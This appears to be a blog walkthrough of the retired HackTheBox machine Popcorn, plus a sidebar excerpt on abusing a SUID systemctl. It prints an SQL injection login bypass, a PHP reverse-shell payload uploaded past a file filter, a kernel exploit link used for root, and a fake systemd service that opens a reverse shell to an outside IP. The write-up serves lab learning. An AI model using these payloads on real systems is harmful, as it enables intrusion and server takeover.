Skip to main content

HacktheBox - Retired - Popcorn - Updated

HacktheBox - Retired - Popcorn



Recon


I've been using threader 3000 for my recon scans lately. It's a threaded python scanner that does a quick up/down scan on all tcp ports. After the initial scan it suggests a nmap scan to run based on only the open ports found in the initial scan. I like it alot 



I then convert the XML the tool generates into HTML to make it pretty.



xsltproc ./popcorn.htb/popcorn.htb.xml -o ./popcorn.html




Port 22 OpenSSH 5.1p1
Port 80 Apache 2.2.12


Just two porst, a very old version of OpenSSH on port 22 and a very old version of Apache 2.2.12


Let's see what we can see on port 80



Just a page that says it's working.


So as part of web recon, we now can see what they want us to see, but how about other things that aren't part of this index.html that the web server is hosting?


For this we will do a directory/file brute force on the web server to see if it is indeed serving up anything other than just this index.html





GENERATED WORDS: 4612                                                         

---- Scanning URL: http://popcorn.htb/ ----
+ http://popcorn.htb/cgi-bin/ (CODE:403|SIZE:287)                                                                                                                            
+ http://popcorn.htb/index (CODE:200|SIZE:177)                                                                                                                               
+ http://popcorn.htb/index.html (CODE:200|SIZE:177)                                                                                                                          
+ http://popcorn.htb/server-status (CODE:403|SIZE:292)                                                                                                                       
+ http://popcorn.htb/test (CODE:200|SIZE:47337)                                                                                                                              
==> DIRECTORY: http://popcorn.htb/torrent/                                                                                                                                   
                                                                                                                                                                             
---- Entering directory: http://popcorn.htb/torrent/ ----
==> DIRECTORY: http://popcorn.htb/torrent/admin/                                                                                                                             
+ http://popcorn.htb/torrent/browse (CODE:200|SIZE:9278)                                                                                                                     
+ http://popcorn.htb/torrent/comment (CODE:200|SIZE:936)                                                                                                                     
+ http://popcorn.htb/torrent/config (CODE:200|SIZE:0)                                                                                                                        
==> DIRECTORY: http://popcorn.htb/torrent/css/                                                                                                                               
==> DIRECTORY: http://popcorn.htb/torrent/database/                                                                                                                          
+ http://popcorn.htb/torrent/download (CODE:200|SIZE:0)                                                                                                                      
+ http://popcorn.htb/torrent/edit (CODE:200|SIZE:0)                                                                                                                          
==> DIRECTORY: http://popcorn.htb/torrent/health/                                                                                                                            
+ http://popcorn.htb/torrent/hide (CODE:200|SIZE:3765)                                                                                                                       
==> DIRECTORY: http://popcorn.htb/torrent/images/                                                                                                                            
+ http://popcorn.htb/torrent/index (CODE:200|SIZE:11356)                                                                                                                     
+ http://popcorn.htb/torrent/index.php (CODE:200|SIZE:11356)                                                                                                                 
==> DIRECTORY: http://popcorn.htb/torrent/js/                                                                                                                                
==> DIRECTORY: http://popcorn.htb/torrent/lib/                                                                                                                               
+ http://popcorn.htb/torrent/login (CODE:200|SIZE:8371)                                                                                                                      
+ http://popcorn.htb/torrent/logout (CODE:200|SIZE:182)                                                                                                                      
+ http://popcorn.htb/torrent/preview (CODE:200|SIZE:28104)                                                                                                                   
==> DIRECTORY: http://popcorn.htb/torrent/readme/                                                                                                                            
+ http://popcorn.htb/torrent/rss (CODE:200|SIZE:964)                                                                                                                         
+ http://popcorn.htb/torrent/secure (CODE:200|SIZE:4)                                                                                                                        
+ http://popcorn.htb/torrent/stylesheet (CODE:200|SIZE:321)                                                                                                                  
==> DIRECTORY: http://popcorn.htb/torrent/templates/                                                                                                                         
+ http://popcorn.htb/torrent/thumbnail (CODE:200|SIZE:1789)                                                                                                                  
==> DIRECTORY: http://popcorn.htb/torrent/torrents/                                                                                                                          
==> DIRECTORY: http://popcorn.htb/torrent/upload/                                                                                                                            
+ http://popcorn.htb/torrent/upload_file (CODE:200|SIZE:0)                                                                                                                   
==> DIRECTORY: http://popcorn.htb/torrent/users/                                                                                                                             
                                                                                                                                                                             
---- Entering directory: http://popcorn.htb/torrent/admin/ ----
+ http://popcorn.htb/torrent/admin/admin (CODE:200|SIZE:2988)                                                                                                                
+ http://popcorn.htb/torrent/admin/admin.php (CODE:200|SIZE:2988)                                                                                                            
==> DIRECTORY: http://popcorn.htb/torrent/admin/images/                                                                                                                      
+ http://popcorn.htb/torrent/admin/index (CODE:200|SIZE:80)                                                                                                                  
+ http://popcorn.htb/torrent/admin/index.php (CODE:200|SIZE:80)                                                                                                              
==> DIRECTORY: http://popcorn.htb/torrent/admin/templates/                                                                                                                   
+ http://popcorn.htb/torrent/admin/users (CODE:200|SIZE:80)                   





There is a /torrent/ directory let's check it out


Some software called torrent hoster.



So we have a login on this page, one of the first things I like to do when I see a login is see if it uses some sort of default easy creds like admin/admin, admin/password, admin/123456 or some such super low hanging fruit.  If those don't work then I try just some generic SQL injections to see if we can get in that way.




Exploit


Using this sqli for a username we were able to authenticate as admin


admin'or'1'='1






OK so this looks like a torrent repo, where we can list torrent files. We can upload a new torrent to list on the site…. This is juicy.. If we can upload we can try to exploit.


I tried to upload a generic python script as a torrent to see what would happen.




I downloaded and ubuntu torrent to try to upload.



Cool, we can upload torrents to a torrent site...ok



Ok we can upload a screenshot too

I tried to upload my avatar





Let's see if we can sneak some php by this upload filter.


My goal is to try and capture the upload in burpsuite and insert some php inline during the transfer.



So first let's fire up burpsuite and capture a legit upload of a picture.





Now we send that over to repeater in burpsuite.


Now we will edit the file name to be .php instead of .jpg

And insert our php code somewhere inside of the jpeg transfer


Here is the PHP we are inserting.


<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'");
?>




We get a 200 back from the server so it looks like we did upload successfully.








We should set up our netcat listener now


nc -lnvp 5555





Now we just need to find a way to run the php we inserted.



Poking around we find the directory where it places these uploaded files



popcorn.htb/torrent/upload/



It renamed our file to some hash….  It appears to be a sha1 hash of the torrent we uploaded.


Ok, now if we click on the php hopefully we get our shell.



We did!! Congrats!


From here we can poke around and find that we can read the user.txt in the /home/george folder




I upgraded to a bit of better shell with python since this machine had python installed on it.


python -c 'import pty; pty.spawn("/bin/bash")'



I found this th_database.sql file in /var/www/torrent/database/



And it has this inside.



Looks like a md5 hash for the admin password.  I just googled the hash and found that it is admin12


I tried to login with admin/admin12 on the torrent site and it doesn't work, I'm guessing the password had been changed after this file was created.


I looked up exploits for this version of linux and came across this one…

https://github.com/lucyoa/kernel-exploits/blob/master/full-nelson/full-nelson.c



So i downloaded a copy to my kali box and used nc to get it over to popcorn



Then used netcat on popcorn to xfer the file



Then all we need to do is compile using gcc


gcc ./fn.c -o fn





from here we can reach /root/root.txt











Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar